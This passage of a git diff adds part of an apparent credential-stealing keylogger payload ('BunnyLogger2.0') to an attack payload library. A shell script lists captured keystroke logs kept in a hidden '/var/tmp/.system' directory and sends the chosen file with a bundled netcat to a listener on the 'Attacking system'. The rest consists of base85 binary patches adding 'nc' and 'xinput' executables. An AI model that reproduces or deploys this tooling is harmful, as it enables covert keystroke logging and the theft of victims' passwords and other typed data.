Logs:\033[0m" + cd /var/tmp/.system/logs/ + ls /var/tmp/.system/logs/ | sort + echo + echo -n "Enter filename to transfer: " + read ch + if [ -f $ch ]; + then + echo -e "\033[1;34m[INFO]: Transferring file...\033[0m" + /var/tmp/.system/./nc -q 0 127.0.0.1 1444 < $ch >/dev/null 2>&1 + if [ $? -eq 0 ]; then + echo -e "\033[1;32m[SUCCESS]: File Transferred.\033[0m" + else + echo -e "\033[1;34m[INFO]: Netcat listner is not running on Attacking system.\033[0m\n\033[1;31m[ERROR]: File transfer failed.\033[0m" + fi + else + echo -e "\033[1;31m[ERROR]: Invalid Filename \"$ch\".\033[0m" + fi +} +conti(){ + while : + do + echo + echo -n "Would you like to transfer more files? [Y/N]: " + read ch + if [ "$ch" = y ] || [ "$ch" = Y ]; + then + transfer + elif [ "$ch" = N ] || [ "$ch" = n ]; + then + echo -e "\033[1;34m[INFO]: Terminating...\033[0m" + break + else + echo -e "\033[1;31m[ERROR]: Invalid Choice \"$ch\".\033[0m" + fi + done +} +transfer +conti diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/nc b/payloads/library/credentials/BunnyLogger2.0/requirements/nc new file mode 100644 index 0000000000000000000000000000000000000000..8612bf0cdbc04ad0dad5c2c374f4b3941797c053 GIT binary patch literal 34952 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 literal 0 HcmV?d00001 diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/xinput b/payloads/library/credentials/BunnyLogger2.0/requirements/xinput new file mode 100644 index 0000000000000000000000000000000000000000..b9a549880f323010103c5fc2770f3968e336d81c GIT binary patch literal 60768 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 